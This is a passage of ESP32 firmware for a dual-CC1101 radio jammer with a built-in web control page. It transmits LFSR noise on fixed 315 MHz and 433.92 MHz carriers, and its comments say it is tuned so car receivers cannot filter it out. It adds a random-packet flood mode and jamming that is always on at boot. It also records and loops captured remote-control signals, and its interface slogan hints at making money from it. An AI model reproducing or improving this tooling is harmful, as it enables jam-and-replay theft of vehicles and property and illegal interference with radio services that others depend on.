" Hz on GDO0"); if (radio1Status == 1) { stTx1 = radio1.transmitDirectAsync(); if (stTx1 != RADIOLIB_ERR_NONE) { radio1Status = -1; radio1Error = "Transmit failed: " + String(stTx1); logLine("[R1] transmitDirectAsync failed: " + String(stTx1)); } else { radio1Status = 2; } } if (radio2Status == 1) { stTx2 = radio2.transmitDirectAsync(); if (stTx2 != RADIOLIB_ERR_NONE) { radio2Status = -1; radio2Error = "Transmit failed: " + String(stTx2); logLine("[R2] transmitDirectAsync failed: " + String(stTx2)); } else { radio2Status = 2; } } s_noiseEn1 = (radio1Status == 2); s_noiseEn2 = (radio2Status == 2); if (s_noiseEn1 || s_noiseEn2) { noiseGenStart(); } } if (radio1Status == 2 || radio2Status == 2) { logLine("[JAM] Fixed carriers:"); logLine("[JAM] R1: " + String(JAM_LOCK_FREQ_1_MHZ, 2) + " MHz @ " + String(jamPower) + " dBm (" + String(radio1Status == 2 ? "TX" : "off") + ")"); logLine("[JAM] R2: " + String(JAM_LOCK_FREQ_2_MHZ, 2) + " MHz @ " + String(jamPower) + " dBm (" + String(radio2Status == 2 ? "TX" : "off") + ")"); } else { logLine("[JAM] Both radios failed — check SPI, power, antenna"); logLine("[JAM] R1: " + radio1Error); logLine("[JAM] R2: " + radio2Error); } } // Stop jamming — idempotent, safe to call at any time including from capture code. // Always brings GDO0 pins and noise timer to a known-safe state regardless of // whether jammingEnabled was true. Only logs if something was actually active. static void stopJamming() { const bool wasActive = jammingEnabled; s_floodJamActive = false; s_noiseEn1 = false; s_noiseEn2 = false; // Always stop noise timer first — prevents ISR touching GDO0 during standby if (s_noiseTimer) { timerAlarmDisable(s_noiseTimer); timerDetachInterrupt(s_noiseTimer); timerEnd(s_noiseTimer); s_noiseTimer = nullptr; } gpio_set_level((gpio_num_t)CC1101_1_GDO0, 0); gpio_set_level((gpio_num_t)CC1101_2_GDO0, 0); if (radio1Status == 2) { int st1 = radio1.standby(); if (st1 != RADIOLIB_ERR_NONE) { radio1Error = "Standby failed: " + String(st1); logLine("[R1] standby failed: " + String(st1)); } else { radio1Status = 1; radio1Error = ""; } } if (radio2Status == 2) { int st2 = radio2.standby(); if (st2 != RADIOLIB_ERR_NONE) { radio2Error = "Standby failed: " + String(st2); logLine("[R2] standby failed: " + String(st2)); } else { radio2Status = 1; radio2Error = ""; } } jammingEnabled = false; if (wasActive) logLine("[JAM] Jamming stopped"); } // Packet-flood jam: PRNG frames on both radios (shared SPI — sequential). static void jamFloodTick() { if (!s_floodJamActive || !jammingEnabled) return; static uint8_t pkt[JAM_FLOOD_PKT_BYTES]; static uint32_t lastMs; const uint32_t now = millis(); if ((uint32_t)(now - lastMs) < 2u) return; lastMs = now; if (radio1Status == 2) { esp_fill_random(pkt, sizeof(pkt)); (void)radio1.transmit(pkt, sizeof(pkt)); } if (radio2Status == 2) { esp_fill_random(pkt, sizeof(pkt)); (void)radio2.transmit(pkt, sizeof(pkt)); } } static int hexNibble(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return 10 + (c - 'a'); if (c >= 'A' && c <= 'F') return 10 + (c - 'A'); return -1; } static void handleJamMode() { if (!server.hasArg("plain")) { server.send(400, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"need_json\"}"); return; } const String body = server.arg("plain"); JamMode newM = JamMode::DIRECT; if (body.indexOf("\"mode\":\"flood\"") >= 0) { newM = JamMode::FLOOD; } else if (body.indexOf("\"mode\":\"precision\"") >= 0) { newM = JamMode::PRECISION; } else if (body.indexOf("\"mode\":\"direct\"") >= 0) { newM = JamMode::DIRECT; } else { server.send(400, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"bad_mode\"}"); return; } jamMode = newM; preferences.putUChar("jamMode", (uint8_t)jamMode); logLine(String("[JAM] UI mode -> ") + jamModeToCstr(jamMode)); const bool wasJam = jammingEnabled; if (wasJam) { stopJamming(); jammingEnabled = true; startJamming(); } String j = String("{\"ok\":true,\"mode\":\"") + jamModeToCstr(jamMode) + "\"}"; server.send(200, "application/json; charset=utf-8", j); } static void handleCc1101RegsGet() { if (!server.hasArg("radio")) { server.send(400, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"radio\"}"); return; } const int r = server.arg("radio").toInt(); if (r != 1 && r != 2) { server.send(400, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"radio\"}"); return; } const uint8_t cs = (r == 1) ? CC1101_1_CS : CC1101_2_CS; String hex; hex.reserve((CC1101_CFG_REG_LAST + 1u) * 2u + 4u); for (uint8_t a = 0; a <= CC1101_CFG_REG_LAST; a++) { const uint8_t v = cc1101ReadRegister(cs, a); char pair[4]; snprintf(pair, sizeof(pair), "%02X", (unsigned)v); hex += pair; } server.send(200, "application/json; charset=utf-8", String("{\"ok\":true,\"radio\":") + r + ",\"hex\":\"" + hex + "\"}"); } static void handleCc1101RegsPost() { int r = 0; String hx; if (server.hasArg("radio") && server.hasArg("hex")) { r = server.arg("radio").toInt(); hx = server.arg("hex"); } else if (server.hasArg("plain")) { const String p = server.arg("plain"); if (p.indexOf("\"radio\":1") >= 0 || p.indexOf("\"radio\": 1") >= 0) r = 1; else if (p.indexOf("\"radio\":2") >= 0 || p.indexOf("\"radio\": 2") >= 0) r = 2; const int iq = p.indexOf("\"hex\""); if (iq < 0) { server.send(400, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"missing_args\"}"); return; } int q1 = p.indexOf('"', iq + 5); q1 = p.indexOf('"', q1 + 1); const int q2 = p.indexOf('"', q1 + 1); if (q1 < 0 || q2 < 0) { server.send(400, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"hex_parse\"}"); return; } hx = p.substring(q1 + 1, q2); } else { server.send(400, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"missing_args\"}"); return; } if (r != 1 && r != 2) { server.send(400, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"radio\"}"); return; } hx.trim(); hx.replace(" ", ""); const size_t need = (size_t)(CC1101_CFG_REG_LAST + 1) * 2u; if (hx.length() < need) { server.send(400, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"hex_len\"}"); return; } uint8_t buf[64]; for (size_t i = 0; i <= (size_t)CC1101_CFG_REG_LAST; i++) { const int hi = hexNibble(hx[(unsigned)(i * 2)]); const int lo = hexNibble(hx[(unsigned)(i * 2 + 1)]); if (hi < 0 || lo < 0) { server.send(400, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"hex_parse\"}"); return; } buf[i] = (uint8_t)((unsigned)hi << 4 | (unsigned)lo); } const bool wasJam = jammingEnabled; if (wasJam) stopJamming(); const uint8_t cs = (r == 1) ? CC1101_1_CS : CC1101_2_CS; for (uint8_t a = 0; a <= CC1101_CFG_REG_LAST; a++) { spiWriteReg(cs, a, buf[a]); } logLine(String("[REG] SmartRF-style cfg import R") + String(r) + " (" + String(CC1101_CFG_REG_LAST + 1) + " bytes)"); if (wasJam) { jammingEnabled = true; startJamming(); } server.send(200, "application/json; charset=utf-8", "{\"ok\":true}"); } static void handleCc1101RegsRoute() { if (server.method() == HTTP_GET) { handleCc1101RegsGet(); } else if (server.method() == HTTP_POST) { handleCc1101RegsPost(); } else { server.send(405, "text/plain", "Method Not Allowed"); } } // ─── OLED functions ────────────────────────────────────────────────────────── // Queue a full-screen notification overlay for dur ms. static void oledNotify(const char* l1, const char* l2, uint32_t dur = 2500) { if (!oledOk) return; strlcpy(notifL1, l1, sizeof(notifL1)); strlcpy(notifL2, l2, sizeof(notifL2)); notifEnd = millis() + dur; oledPageMs = notifEnd; // reset page timer after notification clears } // Show a synchronous one-shot boot status message (called during setup). static void oledBootMsg(const char* line) { if (!oledOk) return; u8g2.clearBuffer(); u8g2.setFont(u8g2_font_7x13_tf); u8g2.drawStr(0, 14, "CC1101 JAMMER"); u8g2.setFont(u8g2_font_6x10_tf); u8g2.drawStr(0, 27, "ESP32-S3 INIT"); u8g2.drawHLine(0, 30, 128); u8g2.drawStr(0, 46, line); u8g2.sendBuffer(); } // Draw animated right-half radio-wave arcs at (cx, cy), n arcs (0-3). static void oledDrawWaves(uint8_t cx, uint8_t cy, uint8_t n) { for (uint8_t i = 0; i < n; i++) { u8g2.drawCircle(cx, cy, (i + 1) * 3, U8G2_DRAW_UPPER_RIGHT | U8G2_DRAW_LOWER_RIGHT); } } // Draw page indicator dots in the yellow zone (top-right corner) // page = current page (0-2) static void oledPageDots(uint8_t page) { for (uint8_t i = 0; i < 3; i++) { const uint8_t x = 116 + i * 5; if (i == page) u8g2.drawBox(x, 4, 3, 3); // filled = active else u8g2.drawFrame(x, 4, 3, 3); // outline = inactive } } // Page 0 — Live Status // Yellow zone (y 0-15): status header // Blue zone (y16-63): 4 data lines with 5x7 font static void oledDrawStatus() { const bool jam = jammingEnabled; const bool r1Tx = (radio1Status == 2); const bool r2Tx = (radio2Status == 2); const bool r1Ok = (radio1Status != -1); const bool r2Ok = (radio2Status != -1); CapMode cm; noInterrupts(); cm = capMode; interrupts(); // Yellow zone header u8g2.setFont(u8g2_font_6x10_tf); if (cm == CapMode::RECORDING) { // Flashing border effect — blink every ~500 ms using bit 9 of millis() if (millis() & 512) { u8g2.drawBox(0, 0, 128, 13); u8g2.setDrawColor(0); } u8g2.drawStr(2, 10, ">> RECORDING <<"); u8g2.setDrawColor(1); } else if (cm == CapMode::REPLAYING) { u8g2.drawBox(0, 0, 128, 13); u8g2.setDrawColor(0); u8g2.drawStr(2, 10, ">> REPLAYING <<"); u8g2.setDrawColor(1); } else if (jam) { u8g2.drawBox(0, 0, 110, 13); u8g2.setDrawColor(0); u8g2.drawStr(2, 10, ">> LOCKED JAM <<"); u8g2.setDrawColor(1); } else { u8g2.drawStr(2, 10, "-- STANDBY --"); } oledPageDots(0); // Blue zone — 5x7 font u8g2.setFont(u8g2_font_5x7_tf); const uint8_t nW = waveFrame; if (cm == CapMode::RECORDING || cm == CapMode::REPLAYING) { // Show capture/replay status instead of sweep info char buf[24]; snprintf(buf, sizeof(buf), "%.3f MHz R%u", (double)capFreq, (unsigned)capRadioNum); u8g2.drawStr(0, 24, buf); // Progress bar for recording if (cm == CapMode::RECORDING) { uint32_t currentIdx, currentTransitions; noInterrupts(); currentIdx = capIdx; currentTransitions = capTransitions; interrupts(); const uint32_t pct = currentIdx * 100 / (CAP_BUF_BYTES * 8); u8g2.drawFrame(0, 26, 128, 5); u8g2.drawBox(0, 26, (uint8_t)(pct * 128 / 100), 5); snprintf(buf, sizeof(buf), "%lus / %us %lu tr", (unsigned long)(currentIdx / CAP_SAMPLE_HZ), (unsigned)CAP_DURATION_S, (unsigned long)currentTransitions); } else { // Replaying — show loop position (atomic idx + recBits vs ISR) uint32_t cidx, crec; noInterrupts(); cidx = capIdx; crec = capRecBits; interrupts(); const uint32_t pct = crec ? cidx * 100 / crec : 0; u8g2.drawFrame(0, 26, 128, 5); u8g2.drawBox(0, 26, (uint8_t)(pct * 128 / 100), 5); snprintf(buf, sizeof(buf), "%lu bits looping", (unsigned long)capRecBits); } u8g2.drawStr(0, 40, buf); snprintf(buf, sizeof(buf), "%.1fC %lukB", (double)temperatureRead(), (unsigned long)(ESP.getFreeHeap() / 1024)); u8g2.drawStr(0, 55, buf); } else { // Normal jamming / standby: OK = probed CC1101; TX = actively jamming (status 2). // Do not label idle/standby as OFFLINE — that was only for status -1 (hardware fault). char buf[24]; if (r1Ok) { if (r1Tx) { snprintf(buf, sizeof(buf), "1: %.3f MHz", (double)jamFreq1); u8g2.drawStr(0, 24, buf); oledDrawWaves(101, 19, nW); } else { snprintf(buf, sizeof(buf), "1: %.3f idle", (double)jamFreq1); u8g2.drawStr(0, 24, buf); } } else { u8g2.drawStr(0, 24, "1: [OFFLINE]"); } if (r2Ok) { if (r2Tx) { snprintf(buf, sizeof(buf), "2: %.3f MHz", (double)jamFreq2); u8g2.drawStr(0, 33, buf); oledDrawWaves(101, 28, nW); } else { snprintf(buf, sizeof(buf), "2: %.3f idle", (double)jamFreq2); u8g2.drawStr(0, 33, buf); } } else { u8g2.drawStr(0, 33, "2: [OFFLINE]"); } // Row 3: power { char buf[28]; snprintf(buf, sizeof(buf), "TX %d dBm max", (int)jamPower); u8g2.drawStr(0, 44, buf); } // Row 4: temp + heap OR FULL TX badge if (jam && r1Tx && r2Tx) { u8g2.drawStr(0, 55, "[ 315 + 433.92 LOCK ]"); } else { char buf[28]; snprintf(buf, sizeof(buf), "%.1fC %lukB", (double)temperatureRead(), (unsigned long)(ESP.getFreeHeap() / 1024)); u8g2.drawStr(0, 55, buf); } } // Row 5: uptime small { const uint32_t up = millis() - uptimeStart; char buf[20]; snprintf(buf, sizeof(buf), "up %uh%um%us", (unsigned)(up/3600000), (unsigned)((up/60000)%60), (unsigned)((up/1000)%60)); u8g2.drawStr(0, 63, buf); } } // Page 1 — Frequency + Hops static void oledDrawFreq() { // Yellow zone header u8g2.setFont(u8g2_font_6x10_tf); u8g2.drawStr(2, 10, "FREQ & HOPS"); oledPageDots(1); u8g2.setFont(u8g2_font_5x7_tf); char buf[24]; snprintf(buf, sizeof(buf), "R1 %.4f MHz", (double)jamFreq1); u8g2.drawStr(0, 24, buf); snprintf(buf, sizeof(buf), " %lu hops", (unsigned long)hopCount1); u8g2.drawStr(0, 33, buf); snprintf(buf, sizeof(buf), "R2 %.4f MHz", (double)jamFreq2); u8g2.drawStr(0, 45, buf); snprintf(buf, sizeof(buf), " %lu hops", (unsigned long)hopCount2); u8g2.drawStr(0, 54, buf); // Total hops per second (approx from 5s heartbeat window) const uint32_t up = (millis() - uptimeStart) / 1000; if (up > 0) { snprintf(buf, sizeof(buf), "~%lu h/s total", (unsigned long)((hopCount1 + hopCount2) / up)); u8g2.drawStr(0, 63, buf); } } // Page 2 — System Health static void oledDrawHealth() { // Yellow zone header u8g2.setFont(u8g2_font_6x10_tf); u8g2.drawStr(2, 10, "SYS HEALTH"); oledPageDots(2); u8g2.setFont(u8g2_font_5x7_tf); char buf[24]; snprintf(buf, sizeof(buf), "TEMP %.1f C", (double)temperatureRead()); u8g2.drawStr(0, 24, buf); const uint32_t freeK = ESP.getFreeHeap() / 1024; const uint32_t minK = (minFreeHeap == 0xFFFFFFFF ? ESP.getFreeHeap() : minFreeHeap) / 1024; snprintf(buf, sizeof(buf), "HEAP %lukB min%lukB", freeK, minK); u8g2.drawStr(0, 33, buf); const uint32_t up = millis() - uptimeStart; snprintf(buf, sizeof(buf), "UP %uh %um %us", (unsigned)(up/3600000), (unsigned)((up/60000)%60), (unsigned)((up/1000)%60)); u8g2.drawStr(0, 44, buf); const int effDbm = (int)jamPower; const uint32_t effMw = (uint32_t)roundf(powf(10.0f, effDbm / 10.0f)); snprintf(buf, sizeof(buf), "PWR %ddBm / %umW", effDbm, min(effMw, (uint32_t)9999)); u8g2.drawStr(0, 55, buf); snprintf(buf, sizeof(buf), "WIFI %d ESPNOW %u", WiFi.softAPgetStationNum(), (unsigned)espNowActivePeerCount()); u8g2.drawStr(0, 63, buf); } // Full-screen inverted notification overlay static void oledDrawNotif() { u8g2.drawBox(0, 0, 128, 64); u8g2.setDrawColor(0); u8g2.setFont(u8g2_font_7x13_tf); int16_t x1 = (128 - (int16_t)strlen(notifL1) * 7) / 2; u8g2.drawStr((uint8_t)max((int16_t)0, x1), 26, notifL1); u8g2.setFont(u8g2_font_6x10_tf); int16_t x2 = (128 - (int16_t)strlen(notifL2) * 6) / 2; u8g2.drawStr((uint8_t)max((int16_t)0, x2), 44, notifL2); u8g2.setDrawColor(1); } // Main OLED update — call from loop() every pass; self-throttles to 100ms. static void oledTick() { if (!oledOk) return; const uint32_t now = millis(); if (now - oledTickMs < 100) return; oledTickMs = now; // Advance wave animation every 220ms (4 frames → ~1.1s full cycle) if (now - waveMs >= 220) { waveMs = now; waveFrame = (waveFrame + 1) & 3; } // Consume encoder — manual page change resets the auto-cycle timer if (encDelta != 0) { noInterrupts(); const int8_t d = encDelta; encDelta = 0; interrupts(); oledPage = (uint8_t)((oledPage + 3 + (d > 0 ? 1 : -1)) % 3); oledPageMs = now; // reset auto-advance so page stays visible } // Auto page-advance every 8s (not during notification, not if encoder just moved) if (now > notifEnd && now - oledPageMs >= 8000) { oledPageMs = now; oledPage = (oledPage + 1) % 3; } u8g2.clearBuffer(); if (now < notifEnd) { oledDrawNotif(); } else if (oledPage == 0) { oledDrawStatus(); } else if (oledPage == 1) { oledDrawFreq(); } else { oledDrawHealth(); } u8g2.sendBuffer(); } // ─── Galois LFSR broadband noise generator ─────────────────────────────────── // // Replaces LEDC fixed-frequency PWM which produced strong predictable sidebands // at ±120 kHz, ±240 kHz etc — a pattern car receivers can filter out. // // A 32-bit Galois LFSR clocked at JAM_LFSR_KEY_HZ generates a maximal-length pseudo- // random bit sequence (period 2^32-1). The output // is spectrally flat: power spreads uniformly across the modulated bandwidth. // R2 (433.92 MHz) uses max CC1101 deviation (~810 kHz FM noise). R1 (315 MHz) // uses narrow deviation so most energy stays on-channel. // // Polynomial 0xB4BCD35C: taps at bits 0,2,6,7,16,18,19,21 — proven maximal. // Both radios use different bit positions of the same sequence for uncorrelated // but equally flat noise on each band. static inline IRAM_ATTR uint32_t lfsrStep(uint32_t s) { return (s >> 1) ^ (-(s & 1u) & 0xB4BCD35Cu); } static void IRAM_ATTR noiseISR() { const uint32_t s = lfsrStep(s_lfsr); s_lfsr = s; if (s_noiseEn1) gpio_set_level((gpio_num_t)CC1101_1_GDO0, (s >> 0) & 1u); else gpio_set_level((gpio_num_t)CC1101_1_GDO0, 0); if (s_noiseEn2) gpio_set_level((gpio_num_t)CC1101_2_GDO0, (s >> 7) & 1u); else gpio_set_level((gpio_num_t)CC1101_2_GDO0, 0); } static void noiseGenStart() { if (s_noiseTimer) { timerAlarmDisable(s_noiseTimer); timerDetachInterrupt(s_noiseTimer); timerEnd(s_noiseTimer); s_noiseTimer = nullptr; } s_lfsr = esp_random(); if (s_lfsr == 0) s_lfsr = 0xDEADBEEFu; // LFSR must never be zero gpio_set_direction((gpio_num_t)CC1101_1_GDO0, GPIO_MODE_OUTPUT); gpio_set_direction((gpio_num_t)CC1101_2_GDO0, GPIO_MODE_OUTPUT); // Hardware timer at JAM_LFSR_KEY_HZ — true ISR, no jitter, no FreeRTOS overhead. // prescaler 80 → 1 MHz tick; alarm period = 1e6 / JAM_LFSR_KEY_HZ µs. const uint32_t noisePeriodUs = (1000000u + (s_jamLfsrKeyHz / 2u)) / s_jamLfsrKeyHz; s_noiseTimer = timerBegin(2, 80, true); // timer 2, 1 MHz, count up timerAttachInterrupt(s_noiseTimer, &noiseISR, true); // edge triggered timerAlarmWrite(s_noiseTimer, noisePeriodUs, true); timerAlarmEnable(s_noiseTimer); } // Web server handlers const char kHtml[] = R"HTML( CC1101 JAMMER

CC1101 JAMMER

"only tryan make a dollar"
ESP32-S3 • LOCK 315 MHz + LOCK 433.92 MHz • Dual-carrier LFSR jam
v2.0 // LFSR+VCO

System Metrics

Uptime
CC1101 TX (max)
dBm
ERP (chip only)
dBm
ERP Watts
mW
R1 hardware
R2 hardware
Jam at boot
always
Boot test R1
Boot test R2
Boot test all
Boot test ms
Last test R1
Last test R2
Last test all
Last test ms
Last test @ up
Temp
°C
Free Heap
kB
Min Heap
kB
AP Clients
Nodes (ESP-NOW)

Locked jam carriers

 Radio 1 — 315.000 MHz (NA) narrow FM + LFSR
 Radio 2 — 433.920 MHz (EU/global) max FM noise + LFSR

2-Minute History

Temperature (°C)
Free Heap (kB)

Radio Status

Boot: once per power-up before WiFi (SRES, RadioLib, VERSION). Last: most recent POST self-test (no reboot).

Radio 1 — 315 MHz LOCK
Radio 2 — 433.92 MHz LOCK

Controls

TX power is fixed at +10 dBm (CC1101 max, TI SWRS061). Radiated level includes your antenna gain only — no external PA.

Jamming starts automatically on every power-up. Press Stop Jamming to go standby for capture (REC), then start jam again when done.

Jam strategy — Direct: wide LFSR + async TX. Precision: narrower deviation / key rate. Flood: bursty random packets (hypothesis for burst-sensitive links; verify in your chamber).

Signal Capture / Replay

State
IDLE
Bits
Duration
Est Bitrate
Duty Cycle
Cap Freq

Capture history (NVS)

#Time (uptime)MHzBitsRadioMod
REC pauses jamming, RX via CC1101 GDO0 (SWRS061). STOP saves to history if ≥100 bits. REPLAY loops async TX. If jam is on, use Stop Jamming first or REC will pause it automatically.

CC1101 registers (SmartRF-style)

Export configuration bytes for one radio, edit offline, paste hex and apply. TX pauses briefly during SPI write.

System Log  


rusian marks atm
)HTML"; static void handleRoot() { // ETag based on compile timestamp — browser caches until next flash server.sendHeader("ETag", "\"" __DATE__ __TIME__ "\""); server.sendHeader("Cache-Control", "no-cache"); // revalidate via ETag, don't re-download if (server.hasHeader("If-None-Match") && server.header("If-None-Match") == "\"" __DATE__ __TIME__ "\"") { server.send(304); // Not Modified — browser uses cached copy, saves ~15 KB return; } server.setContentLength(sizeof(kHtml) - 1); server.send(200, "text/html; charset=utf-8", ""); server.sendContent(kHtml); } static void handleLog() { server.send(200, "text/plain; charset=utf-8", getLogsText()); } static void handleTelemetry() { float tempC = temperatureRead(); const int8_t effDbm = jamPower; const float effWatts = powf(10.0f, effDbm / 10.0f) / 1000.0f; String err1 = jsonEscape(radio1Error); String err2 = jsonEscape(radio2Error); String st1 = jsonEscape(bootSelftestR1Detail); String st2 = jsonEscape(bootSelftestR2Detail); String lst1 = jsonEscape(lastSelftestR1Detail); String lst2 = jsonEscape(lastSelftestR2Detail); static char jsonBuf[2624]; snprintf(jsonBuf, sizeof(jsonBuf), "{" "\"uptime_ms\":%lu," "\"free_heap\":%lu," "\"temp_c\":%.1f," "\"jamming_enabled\":%s," "\"jam_mode\":%u," "\"jam_mode_str\":\"%s\"," "\"auto_start_jam\":%s," "\"jam_power\":%d," "\"jam_power_idx\":%d," "\"eff_power_dbm\":%d," "\"eff_power_w\":%.3f," "\"jam_freq1\":%.4f," "\"jam_freq2\":%.4f," "\"jam_fixed\":true," "\"boot_st_r1_pass\":%s," "\"boot_st_r2_pass\":%s," "\"boot_st_all_pass\":%s," "\"boot_st_ms\":%lu," "\"boot_st_r1\":\"%s\"," "\"boot_st_r2\":\"%s\"," "\"last_st_ran\":%s," "\"last_st_r1_pass\":%s," "\"last_st_r2_pass\":%s," "\"last_st_all_pass\":%s," "\"last_st_ms\":%lu," "\"last_st_at_ms\":%lu," "\"last_st_r1\":\"%s\"," "\"last_st_r2\":\"%s\"," "\"radio1_status\":%d," "\"radio1_error\":\"%s\"," "\"radio1_freq\":%.4f," "\"radio1_active\":%s," "\"radio1_hw_ok\":%s," "\"radio2_status\":%d," "\"radio2_error\":\"%s\"," "\"radio2_freq\":%.4f," "\"radio2_active\":%s," "\"radio2_hw_ok\":%s," "\"hop_count1\":%lu," "\"hop_count2\":%lu," "\"min_heap\":%lu," "\"ap_clients\":%d," "\"espnow_ok\":%s," "\"espnow_peers\":%u" "}", (unsigned long)(millis() - uptimeStart), (unsigned long)ESP.getFreeHeap(), (double)tempC, jammingEnabled ? "true" : "false", (unsigned)(uint8_t)jamMode, jamModeToCstr(jamMode), autoStartJam ? "true" : "false", (int)jamPower, (int)jamPowerIdx, (int)effDbm, (double)effWatts, (double)jamFreq1, (double)jamFreq2, bootSelftestR1Pass ? "true" : "false", bootSelftestR2Pass ? "true" : "false", (bootSelftestR1Pass && bootSelftestR2Pass) ? "true" : "false", (unsigned long)bootSelftestDurationMs, st1.c_str(), st2.c_str(), lastSelftestRan ? "true" : "false", lastSelftestR1Pass ? "true" : "false", lastSelftestR2Pass ? "true" : "false", (lastSelftestR1Pass && lastSelftestR2Pass) ? "true" : "false", (unsigned long)lastSelftestDurationMs, (unsigned long)lastSelftestAtMs, lst1.c_str(), lst2.c_str(), (int)radio1Status, err1.c_str(), (double)jamFreq1, radio1Status == 2 ? "true" : "false", radio1Status != -1 ? "true" : "false", (int)radio2Status, err2.c_str(), (double)jamFreq2, radio2Status == 2 ? "true" : "false", radio2Status != -1 ? "true" : "false", (unsigned long)hopCount1, (unsigned long)hopCount2, (unsigned long)(minFreeHeap == 0xFFFFFFFF ? ESP.getFreeHeap() : minFreeHeap), (int)WiFi.softAPgetStationNum(), s_espNowReady ? "true" : "false", (unsigned)espNowActivePeerCount() ); server.send(200, "application/json; charset=utf-8", jsonBuf); } static void handleToggle() { if (jammingEnabled) { stopJamming(); oledNotify("STANDBY", "Jamming stopped"); } else { jammingEnabled = true; // must be set before startJamming so sweep loop and watchdog see it startJamming(); if (radio1Status != 2 && radio2Status != 2) { jammingEnabled = false; // both radios failed — don't pretend we're jamming oledNotify("RADIO FAIL", "Check connections"); } else { oledNotify("JAMMING", "STARTED"); } } // Save new state preferences.putBool("jamEnabled", jammingEnabled); String json = "{\"enabled\":" + String(jammingEnabled ? "true" : "false") + "}"; server.send(200, "application/json; charset=utf-8", json); } // Boot jam is always ON; endpoint kept for old clients — ignores false, rewrites NVS true. static void handleAutoStartJam() { autoStartJam = true; preferences.putBool("autoStartJam", true); if (server.hasArg("plain")) { String body = server.arg("plain"); if (body.indexOf("\"auto_start_jam\"") >= 0 && body.indexOf("false") >= 0) { logLine("[HTTP] auto_start_jam=false ignored — boot jam is always ON"); } } server.send(200, "application/json; charset=utf-8", "{\"success\":true,\"auto_start_jam\":true,\"note\":\"boot_jam_always_on\"}"); } static void handleCaptureHistory() { String j = "["; for (uint8_t i = 0; i < capHistoryCount; i++) { const CapHistoryEntry& e = capHistory[i]; if (i) j += ","; j += "{\"uptime_ms\":" + String(e.uptime_ms) + ",\"freq\":" + String(e.freq_mhz, 3) + ",\"bits\":" + String(e.bits) + ",\"radio\":" + String((unsigned)e.radio_num) + ",\"mod\":\"" + String(e.is_ook ? "ook" : "fsk") + "\"}"; } j += "]"; server.send(200, "application/json; charset=utf-8", j); } static void handleHealth() { static char buf[160]; snprintf(buf, sizeof(buf), "{\"ok\":true,\"uptime_ms\":%lu,\"heap\":%lu,\"ap_clients\":%d," "\"espnow_ok\":%s,\"espnow_peers\":%u}", (unsigned long)(millis() - uptimeStart), (unsigned long)ESP.getFreeHeap(), (int)WiFi.softAPgetStationNum(), s_espNowReady ? "true" : "false", (unsigned)espNowActivePeerCount()); server.send(200, "application/json; charset=utf-8", buf); } // ─── Capture / replay HTTP handlers ────────────────────────────────────────── static void handleCaptureStart() { noInterrupts(); const CapMode cm = capMode; interrupts(); if (cm == CapMode::RECORDING || cm == CapMode::REPLAYING) { server.send(409, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"capture_busy\"}"); return; } const float freq = server.hasArg("freq") ? server.arg("freq").toFloat() : 315.0f; const uint8_t radio = server.hasArg("radio") ? (uint8_t)server.arg("radio").toInt() : 1; const bool isOOK = server.hasArg("mod") ? (server.arg("mod") == "ook") : true; startCapture(freq, radio, isOOK); server.send(200, "application/json", "{\"status\":\"recording\",\"freq\":" + String(freq, 3) + ",\"duration_ms\":" + String(CAP_DURATION_S * 1000) + "}"); } static void handleCaptureStop() { stopCapture(); server.send(200, "application/json", "{\"status\":\"stopped\",\"bits\":" + String(capRecBits) + "}"); } static void handleCaptureReplay() { noInterrupts(); const CapMode cm = capMode; interrupts(); if (cm == CapMode::RECORDING || cm == CapMode::REPLAYING) { server.send(409, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"capture_busy\"}"); return; } const uint8_t radio = server.hasArg("radio") ? (uint8_t)server.arg("radio").toInt() : 1; // startReplay doesn't need isOOK from UI because it uses capIsOOK saved during capture startReplay(radio); server.send(200, "application/json", "{\"status\":\"replaying\",\"bits\":" + String(capRecBits) + ",\"freq\":" + String(capFreq, 3) + "}"); } static void handleCaptureStatus() { static const char* const modeStr[] = {"idle","recording","recorded","replaying"}; uint8_t m; uint32_t currentIdx, recBitsSnap; noInterrupts(); m = (uint8_t)capMode; currentIdx = capIdx; recBitsSnap = capRecBits; interrupts(); static char buf[512]; int n = snprintf(buf, sizeof(buf), "{\"mode\":%u,\"mode_str\":\"%s\"," "\"bits\":%lu,\"buf_bits\":%lu,\"rec_bits\":%lu," "\"pct\":%lu,\"freq\":%.3f", (unsigned)m, modeStr[m < 4 ? m : 0], (unsigned long)currentIdx, (unsigned long)(CAP_BUF_BYTES * 8), (unsigned long)recBitsSnap, (unsigned long)(currentIdx * 100UL / (CAP_BUF_BYTES * 8)), (double)capFreq); if (m == (uint8_t)CapMode::RECORDED || m == (uint8_t)CapMode::REPLAYING) { if (recBitsSnap >= 100) { uint32_t ones = 0, transitions = 0; uint8_t prev = (capBuf[0] >> 0) & 1u; for (uint32_t i = 1; i < recBitsSnap; i++) { const uint8_t b = (capBuf[i >> 3] >> (i & 7)) & 1u; if (b) ones++; if (b != prev) { transitions++; prev = b; } } const uint32_t avgRL = (transitions > 0) ? (recBitsSnap / transitions) : recBitsSnap; n += snprintf(buf + n, sizeof(buf) - n, ",\"dur_ms\":%lu,\"transitions\":%lu,\"est_bps\":%lu,\"duty_pct\":%lu", (unsigned long)(recBitsSnap * 1000 / CAP_SAMPLE_HZ), (unsigned long)transitions, (unsigned long)(avgRL > 0 ? CAP_SAMPLE_HZ / avgRL : 0), (unsigned long)(ones * 100UL / recBitsSnap)); } } snprintf(buf + n, sizeof(buf) - n, "}"); server.send(200, "application/json; charset=utf-8", buf); } // Returns 256 data points (0-100 = % carrier-on) for waveform canvas rendering. // Static buffer: worst case = 256 * 4 chars ("100,") + 2 brackets + nul = 1026 bytes. static void handleCaptureWave() { uint32_t nbits; noInterrupts(); nbits = capRecBits; interrupts(); if (!nbits) { server.send(200, "application/json", "[]"); return; } static char waveBuf[1280]; const uint32_t N = 256; const uint32_t bpp = max(1u, nbits / N); int pos = 0; waveBuf[pos++] = '['; for (uint32_t p = 0; p < N; p++) { uint32_t ones = 0; const uint32_t start = p * bpp; const uint32_t end = 